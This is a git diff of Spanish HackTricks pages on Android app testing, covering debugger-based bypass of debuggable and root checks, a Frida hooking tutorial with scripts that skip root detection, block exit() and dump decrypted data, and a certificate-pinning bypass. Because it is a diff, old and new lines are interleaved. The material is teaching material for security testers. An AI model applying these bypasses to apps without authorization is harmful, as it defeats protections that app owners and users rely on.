Esta sección de la publicación es un resumen de la publicación [**https://medium.com/@shubhamsonani/hacking-with-precision-bypass-techniques-via-debugger-in-android-apps-27fd562b2cc0**](https://medium.com/@shubhamsonani/hacking-with-precision-bypass-techniques-via-debugger-in-android-apps-27fd562b2cc0)
## Pasos para hacer una aplicación de Android depurable y saltar las verificaciones
## Pasos para hacer que una aplicación de Android sea depurable y evitar verificaciones
### **Haciendo la aplicación depurable**
@ -27,80 +28,81 @@ Contenido basado en https://medium.com/@shubhamsonani/hacking-with-precision-byp
1. **Descompilar el APK:**
- Utiliza la herramienta APK-GUI para descompilar el APK.
- En el archivo _android-manifest_, inserta `android:debuggable=true` para habilitar el modo de depuración.
- Recompila, firma y alinea el APK modificado.
- Vuelve a compilar, firmar y zipalign la aplicación modificada.
2. **Instalar la Aplicación Modificada:**
- Usa el comando: `adb install <nombre_aplicación>`.
2. **Instalar la aplicación modificada:**
- Usa el comando: `adb install <application_name>`.
3. **Recuperar el Nombre del Paquete:**
- Ejecuta `adb shell pm list packages 3` para listar las aplicaciones de terceros y encontrar el nombre del paquete.
3. **Recuperar el nombre del paquete:**
- Ejecuta `adb shell pm list packages 3` para listar aplicaciones de terceros y encontrar el nombre del paquete.
4. **Configurar la Aplicación para Esperar la Conexión del Depurador:**
- Comando: `adb shell am setup-debug-app w <nombre_paquete>`.
- **Nota:** Este comando debe ejecutarse cada vez antes de iniciar la aplicación para asegurarse de que espere al depurador.
- Para persistencia, usa `adb shell am setup-debug-app w -persistent <nombre_paquete>`.
- Para eliminar todas las banderas, usa `adb shell am clear-debug-app <nombre_paquete>`.
4. **Configurar la aplicación para esperar la conexión del depurador:**
- Comando: `adb shell am setup-debug-app w <package_name>`.
- **Nota:** Este comando debe ejecutarse cada vez antes de iniciar la aplicación para asegurarse de que espera al depurador.
- Para persistencia, usa `adb shell am setup-debug-app w -persistent <package_name>`.
- Para eliminar todas las banderas, usa `adb shell am clear-debug-app <package_name>`.
5. **Prepararse para la Depuración en Android Studio:**
- Navega en Android Studio a _Archivo -> Abrir Perfil o APK_.
5. **Preparar para la depuración en Android Studio:**
- Navega en Android Studio a _File -> Open Profile or APK_.
- Abre el APK recompilado.
6. **Establecer Puntos de Interrupción en Archivos Java Clave:**
6. **Establecer puntos de interrupción en archivos Java clave:**
- Coloca puntos de interrupción en `MainActivity.java` (específicamente en el método `onCreate`), `b.java` y `ContextWrapper.java`.
### **Saltando las Verificaciones**
### **Evitando verificaciones**
La aplicación, en ciertos puntos, verificará si es depurable y también comprobará la presencia de binarios que indiquen un dispositivo rooteado. El depurador se puede utilizar para modificar la información de la aplicación, desactivar el bit depurable y alterar los nombres de los binarios buscados para saltar estas verificaciones.
La aplicación, en ciertos puntos, verificará si es depurable y también comprobará los binarios que indican un dispositivo rooteado. El depurador se puede usar para modificar la información de la aplicación, desactivar el bit depurable y alterar los nombres de los binarios buscados para evitar estas verificaciones.
Para la verificación de depuración:
Para la verificación depurable:
1. **Modificar la Configuración de la Bandera:**
1. **Modificar la configuración de la bandera:**
- En la sección de variables de la consola del depurador, navega a: `this mLoadedAPK -> mApplicationInfo -> flags = 814267974`.
- **Nota:** La representación binaria de `flags = 814267974` es `11000011100111011110`, lo que indica que la "Flag_debuggable" está activa.
![https://miro.medium.com/v2/resize:fit:1400/1*-ckiSbWGSoc1beuxxpKbow.png](https://miro.medium.com/v2/resize:fit:1400/1*-ckiSbWGSoc1beuxxpKbow.png)
Estos pasos aseguran colectivamente que la aplicación pueda ser depurada y que ciertas verificaciones de seguridad puedan ser saltadas utilizando el depurador, facilitando un análisis o modificación más profundo del comportamiento de la aplicación.
Estos pasos aseguran colectivamente que la aplicación se pueda depurar y que ciertas verificaciones de seguridad se puedan evitar utilizando el depurador, facilitando un análisis o modificación más profundo del comportamiento de la aplicación.
El paso 2 implica cambiar un valor de bandera a 814267972, que se representa en binario como 110000101101000000100010100.
# **Explotando una Vulnerabilidad**
# **Explotando una vulnerabilidad**
Se proporcionó una demostración utilizando una aplicación vulnerable que contiene un botón y un textview. Inicialmente, la aplicación muestra "Crack Me". El objetivo es alterar el mensaje de "Try Again" a "Hacked" en tiempo de ejecución, sin modificar el código fuente.
## **Comprobando la Vulnerabilidad**
## **Verificando la vulnerabilidad**
- La aplicación fue descompilada usando `apktool` para acceder al archivo `AndroidManifest.xml`.
- La presencia de `android_debuggable="true"` en AndroidManifest.xml indica que la aplicación es depurable y susceptible a explotación.
- Vale la pena mencionar que `apktool` se emplea únicamente para verificar el estado depurable sin alterar ningún código.
- La presencia de `android_debuggable="true"` en el AndroidManifest.xml indica que la aplicación es depurable y susceptible a explotación.
- Vale la pena señalar que `apktool` se emplea únicamente para verificar el estado depurable sin alterar ningún código.
## **Preparando la Configuración**
## **Preparando la configuración**
- El proceso implicó iniciar un emulador, instalar la aplicación vulnerable y usar `adb jdwp` para identificar los puertos de Dalvik VM que están escuchando.
- El JDWP (Java Debug Wire Protocol) permite la depuración de una aplicación en ejecución en una VM al exponer un puerto único.
- Fue necesario el reenvío de puertos para la depuración remota, seguido de la conexión de JDB a la aplicación objetivo.
- El JDWP (Java Debug Wire Protocol) permite depurar una aplicación que se ejecuta en una VM al exponer un puerto único.
- Se necesitó el reenvío de puertos para la depuración remota, seguido de la conexión de JDB a la aplicación objetivo.
## **Inyectando Código en Tiempo de Ejecución**
## **Inyectando código en tiempo de ejecución**
- La explotación se llevó a cabo estableciendo puntos de interrupción y controlando el flujo de la aplicación.
- Se utilizaron comandos como `classes` y `methods <nombre_clase>` para descubrir la estructura de la aplicación.
- Se utilizaron comandos como `classes` y `methods <class_name>` para descubrir la estructura de la aplicación.
- Se estableció un punto de interrupción en el método `onClick`, y se controló su ejecución.
- Se utilizaron los comandos `locals`, `next` y `set` para inspeccionar y modificar variables locales, cambiando especialmente el mensaje de "Try Again" a "Hacked".
- Se utilizaron los comandos `locals`, `next` y `set` para inspeccionar y modificar variables locales, particularmente cambiando el mensaje "Try Again" a "Hacked".
- El código modificado se ejecutó utilizando el comando `run`, alterando con éxito la salida de la aplicación en tiempo real.
Este ejemplo demostró cómo se puede manipular el comportamiento de una aplicación depurable, destacando el potencial para exploits más complejos como obtener acceso a la shell en el dispositivo en el contexto de la aplicación.
Este ejemplo demostró cómo se puede manipular el comportamiento de una aplicación depurable, destacando el potencial para explotaciones más complejas, como obtener acceso a la shell en el dispositivo en el contexto de la aplicación.
## Referencias
* [https://medium.com/@shubhamsonani/hacking-with-precision-bypass-techniques-via-debugger-in-android-apps-27fd562b2cc0](https://medium.com/@shubhamsonani/hacking-with-precision-bypass-techniques-via-debugger-in-android-apps-27fd562b2cc0)
* [https://resources.infosecinstitute.com/android-hacking-security-part-6-exploiting-debuggable-android-applications](https://resources.infosecinstitute.com/android-hacking-security-part-6-exploiting-debuggable-android-applications)
{% hint style="success" %}
Aprende y practica Hacking en AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Aprende a hackear AWS desde cero hasta convertirte en un experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Equipos Rojos de HackTricks AWS)</strong></a><strong>!</strong></summary>
<summary>Apoya a HackTricks</summary>
Otras formas de apoyar a HackTricks:
* Si deseas ver a tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén la [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
* Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos de github.
</details>
{% endhint %}

View file

@ -1,34 +1,35 @@
# Tutorial de Frida
# Frida Tutorial
{% hint style="success" %}
Aprende y practica Hacking en AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Aprende a hackear AWS desde cero hasta convertirte en un experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Red Team de AWS de HackTricks)</strong></a><strong>!</strong></summary>
<summary>Apoya a HackTricks</summary>
Otras formas de apoyar a HackTricks:
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
* Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
</details>
{% endhint %}
<figure><img src="../../../.gitbook/assets/i3.png" alt=""><figcaption></figcaption></figure>
**Consejo de recompensa por errores**: **Regístrate** en **Intigriti**, una plataforma premium de **recompensas por errores creada por hackers, para hackers**. ¡Únete a nosotros en [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) hoy, y comienza a ganar recompensas de hasta **$100,000**!
**Consejo de bug bounty**: **regístrate** en **Intigriti**, una **plataforma de bug bounty premium creada por hackers, para hackers**! Únete a nosotros en [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) hoy, y comienza a ganar recompensas de hasta **$100,000**!
{% embed url="https://go.intigriti.com/hacktricks" %}
## Instalación
Instala las **herramientas de frida**:
Instala **frida tools**:
```bash
pip install frida-tools
pip install frida
```
**Descarga e instala** en el dispositivo Android el **servidor frida** ([Descarga la última versión](https://github.com/frida/frida/releases)).\
Una línea para reiniciar adb en modo root, conectarse a él, cargar frida-server, dar permisos de ejecución y ejecutarlo en segundo plano:
**Descargar e instalar** en el android el **frida server** ([Descargar la última versión](https://github.com/frida/frida/releases)).\
Comando para reiniciar adb en modo root, conectarse a él, subir frida-server, dar permisos de ejecución y ejecutarlo en segundo plano:
{% code overflow="wrap" %}
```bash
@ -36,38 +37,38 @@ adb root; adb connect localhost:6000; sleep 1; adb push frida-server /data/local
```
{% endcode %}
**Verificar** si está **funcionando**:
**Verifica** si está **funcionando**:
```bash
frida-ps -U #List packages and processes
frida-ps -U | grep -i <part_of_the_package_name> #Get all the package name
```
## Tutoriales
## Tutorials
### [Tutorial 1](frida-tutorial-1.md)
**Desde**: [https://medium.com/infosec-adventures/introduction-to-frida-5a3f51595ca1](https://medium.com/infosec-adventures/introduction-to-frida-5a3f51595ca1)\
**De**: [https://medium.com/infosec-adventures/introduction-to-frida-5a3f51595ca1](https://medium.com/infosec-adventures/introduction-to-frida-5a3f51595ca1)\
**APK**: [https://github.com/t0thkr1s/frida-demo/releases](https://github.com/t0thkr1s/frida-demo/releases)\
**Código Fuente**: [https://github.com/t0thkr1s/frida-demo](https://github.com/t0thkr1s/frida-demo)
**Código fuente**: [https://github.com/t0thkr1s/frida-demo](https://github.com/t0thkr1s/frida-demo)
**Sigue el [enlace para leerlo](frida-tutorial-1.md).**
### [Tutorial 2](frida-tutorial-2.md)
**Desde**: [https://11x256.github.io/Frida-hooking-android-part-2/](https://11x256.github.io/Frida-hooking-android-part-2/) (Partes 2, 3 y 4)\
**APKs y Código Fuente**: [https://github.com/11x256/frida-android-examples](https://github.com/11x256/frida-android-examples)
**De**: [https://11x256.github.io/Frida-hooking-android-part-2/](https://11x256.github.io/Frida-hooking-android-part-2/) (Partes 2, 3 y 4)\
**APKs y código fuente**: [https://github.com/11x256/frida-android-examples](https://github.com/11x256/frida-android-examples)
**Sigue el [enlace para leerlo.](frida-tutorial-2.md)**
### [Tutorial 3](owaspuncrackable-1.md)
**Desde**: [https://joshspicer.com/android-frida-1](https://joshspicer.com/android-frida-1)\
**De**: [https://joshspicer.com/android-frida-1](https://joshspicer.com/android-frida-1)\
**APK**: [https://github.com/OWASP/owasp-mstg/blob/master/Crackmes/Android/Level\_01/UnCrackable-Level1.apk](https://github.com/OWASP/owasp-mstg/blob/master/Crackmes/Android/Level\_01/UnCrackable-Level1.apk)
**Sigue el [enlace para leerlo](owaspuncrackable-1.md).**
**Puedes encontrar más scripts increíbles de Frida aquí:** [**https://codeshare.frida.re/**](https://codeshare.frida.re)
**Puedes encontrar más increíbles scripts de Frida aquí:** [**https://codeshare.frida.re/**](https://codeshare.frida.re)
## Ejemplos Rápidos
## Quick Examples
### Llamando a Frida desde la línea de comandos
```bash
@ -93,9 +94,9 @@ print('[ * ] Running Frida Demo application')
script.load()
sys.stdin.read()
```
### Enganchar funciones sin parámetros
### Hooking functions without parameters
Enganchar la función `a()` de la clase `sg.vantagepoint.a.c`
Hook la función `a()` de la clase `sg.vantagepoint.a.c`
```javascript
Java.perform(function () {
; rootcheck1.a.overload().implementation = function() {
@ -105,32 +106,14 @@ return false;
};
});
```
Enganchar java `exit()`
Hook java `exit()`
```javascript
var sysexit = Java.use("java.lang.System");
sysexit.exit.overload("int").implementation = function(var_0) {
send("java.lang.System.exit(I)V // We avoid exiting the application :)");
};
```
### Enganchar MainActivity `.onStart()` & `.onCreate()`
Para enganchar los métodos `onStart()` y `onCreate()` de MainActivity, podemos usar el siguiente script de Frida:
```javascript
Java.perform(function() {
var MainActivity = Java.use('com.example.MainActivity');
MainActivity.onStart.implementation = function() {
console.log('onStart() called');
this.onStart();
};
MainActivity.onCreate.implementation = function() {
console.log('onCreate() called');
this.onCreate();
};
});
```
Hook MainActivity `.onStart()` & `.onCreate()`
```javascript
var mainactivity = Java.use("sg.vantagepoint.uncrackable1.MainActivity");
mainactivity.onStart.overload().implementation = function() {
@ -142,19 +125,7 @@ send("MainActivity.onCreate() HIT!!!");
var ret = this.onCreate.overload("android.os.Bundle").call(this,var_0);
};
```
### Enganchar `.onCreate()` de Android
Puede usar Frida para enganchar el método `.onCreate()` de una aplicación Android y realizar acciones personalizadas. Aquí hay un ejemplo de cómo lograrlo:
```javascript
Java.perform(function() {
var MainActivity = Java.use('com.example.MainActivity');
MainActivity.onCreate.implementation = function() {
console.log('onCreate() enganchado');
this.onCreate();
};
});
```
Hook android `.onCreate()`
```javascript
var activity = Java.use("android.app.Activity");
activity.onCreate.overload("android.os.Bundle").implementation = function(var_0) {
@ -162,9 +133,9 @@ send("Activity HIT!!!");
var ret = this.onCreate.overload("android.os.Bundle").call(this,var_0);
};
```
### Enganchar funciones con parámetros y recuperar el valor
### Hooking functions with parameters and retrieving the value
Enganchar una función de descifrado. Imprimir la entrada, llamar a la función original para descifrar la entrada y finalmente, imprimir los datos en texto plano:
Hooking una función de desencriptación. Imprimir la entrada, llamar a la función original para desencriptar la entrada y finalmente, imprimir los datos en texto plano:
```javascript
function getString(data){
var ret = "";
@ -189,9 +160,9 @@ send("Decrypted flag: " + flag);
return ret; //[B
};
```
### Enganchar funciones y llamarlas con nuestra entrada
### Hooking functions and calling them with our input
Enganchar una función que recibe una cadena y llamarla con otra cadena (de [aquí](https://11x256.github.io/Frida-hooking-android-part-2/))
Hook una función que recibe una cadena y llámala con otra cadena (de [aquí](https://11x256.github.io/Frida-hooking-android-part-2/))
```javascript
var string_class = Java.use("java.lang.String"); // get a JS wrapper for java's String class
@ -203,11 +174,11 @@ console.log("Return value: "+ret);
return ret;
};
```
### Obtener un objeto de una clase ya creada
### Obtener un objeto ya creado de una clase
Si deseas extraer algún atributo de un objeto creado, puedes usar esto.
En este ejemplo verás cómo obtener el objeto de la clase my\_activity y cómo llamar a la función .secret() que imprimirá un atributo privado del objeto:
En este ejemplo, verás cómo obtener el objeto de la clase my\_activity y cómo llamar a la función .secret() que imprimirá un atributo privado del objeto:
```javascript
Java.choose("com.example.a11x256.frida_test.my_activity" , {
onMatch : function(instance){ //This function will be called for every instance found by frida
@ -226,20 +197,21 @@ onComplete:function(){}
<figure><img src="../../../.gitbook/assets/i3.png" alt=""><figcaption></figcaption></figure>
**Consejo de recompensa por errores**: **Regístrate** en **Intigriti**, una plataforma de **recompensas por errores premium creada por hackers, para hackers**. ¡Únete a nosotros en [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) hoy y comienza a ganar recompensas de hasta **$100,000**!
**Consejo de recompensas por errores**: **regístrate** en **Intigriti**, una **plataforma de recompensas por errores premium creada por hackers, para hackers**! Únete a nosotros en [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) hoy, y comienza a ganar recompensas de hasta **$100,000**!
{% embed url="https://go.intigriti.com/hacktricks" %}
{% hint style="success" %}
Aprende y practica Hacking en AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Aprende a hackear AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Red de HackTricks AWS)</strong></a><strong>!</strong></summary>
<summary>Apoya a HackTricks</summary>
Otras formas de apoyar a HackTricks:
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF**, ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén la [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
* Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
</details>
{% endhint %}

View file

@ -1,31 +1,33 @@
{% hint style="success" %}
Aprende y practica Hacking en AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Aprende a hackear AWS desde cero hasta convertirte en un héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Equipos Rojos de AWS de HackTricks)</strong></a><strong>!</strong></summary>
<summary>Apoya a HackTricks</summary>
Otras formas de apoyar a HackTricks:
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén el [**swag oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
* Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos de github.
</details>
{% endhint %}
**Echa un vistazo a: [https://blog.oversecured.com/Android-Access-to-app-protected-components/](https://blog.oversecured.com/Android-Access-to-app-protected-components/)**
{% hint style="success" %}
Aprende y practica Hacking en AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Aprende a hackear AWS desde cero hasta convertirte en un héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Equipos Rojos de AWS de HackTricks)</strong></a><strong>!</strong></summary>
<summary>Apoya a HackTricks</summary>
Otras formas de apoyar a HackTricks:
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén el [**swag oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
* Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos de github.
</details>
{% endhint %}

View file

@ -1,18 +1,19 @@
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Aprende hacking en AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Otras formas de apoyar a HackTricks:
* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén la [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
**Grupo de Seguridad Try Hard**
**Try Hard Security Group**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
@ -20,19 +21,19 @@ Otras formas de apoyar a HackTricks:
***
Algunas aplicaciones no aceptan certificados descargados por el usuario, por lo que para inspeccionar el tráfico web de algunas aplicaciones, en realidad tenemos que decompilar la aplicación y agregar algunas cosas y volver a compilarla.
Algunas aplicaciones no aceptan certificados descargados por el usuario, por lo que para inspeccionar el tráfico web de algunas aplicaciones, en realidad tenemos que descompilar la aplicación, agregar algunas cosas y recompilarla.
# Automático
La herramienta [**https://github.com/shroudedcode/apk-mitm**](https://github.com/shroudedcode/apk-mitm) **automáticamente** realizará los cambios necesarios en la aplicación para comenzar a capturar las solicitudes y también deshabilitará el pinning del certificado (si lo hay).
La herramienta [**https://github.com/shroudedcode/apk-mitm**](https://github.com/shroudedcode/apk-mitm) **automáticamente** hará los cambios necesarios en la aplicación para comenzar a capturar las solicitudes y también deshabilitará la fijación de certificados (si la hay).
# Manual
Primero decompilamos la aplicación: `apktool d *nombre-archivo*.apk`
Primero descompilamos la aplicación: `apktool d *file-name*.apk`
![](../../.gitbook/assets/img9.png)
Luego vamos al archivo **Manifest.xml** y nos desplazamos hacia abajo hasta la etiqueta `<\application android>` y vamos a agregar la siguiente línea si aún no está allí:
Luego entramos en el archivo **Manifest.xml** y desplazamos hacia abajo hasta la etiqueta `<\application android>` y vamos a agregar la siguiente línea si no está ya allí:
`android:networkSecurityConfig="@xml/network_security_config`
@ -44,7 +45,7 @@ Después de agregar:
![](../../.gitbook/assets/img11.png)
Ahora vamos a la carpeta **res/xml** y creamos/modificamos un archivo llamado network\_security\_config.xml con el siguiente contenido:
Ahora entra en la carpeta **res/xml** y crea/modifica un archivo llamado network\_security\_config.xml con el siguiente contenido:
```markup
<network-security-config>
<base-config>
@ -57,11 +58,11 @@ Ahora vamos a la carpeta **res/xml** y creamos/modificamos un archivo llamado ne
</base-config>
</network-security-config>
```
Luego guarda el archivo y retrocede de todos los directorios y reconstruye el apk con el siguiente comando: `apktool b *nombre-de-la-carpeta/* -o *archivo-de-salida.apk*`
Luego guarda el archivo y sal de todos los directorios y reconstruye el apk con el siguiente comando: `apktool b *folder-name/* -o *output-file.apk*`
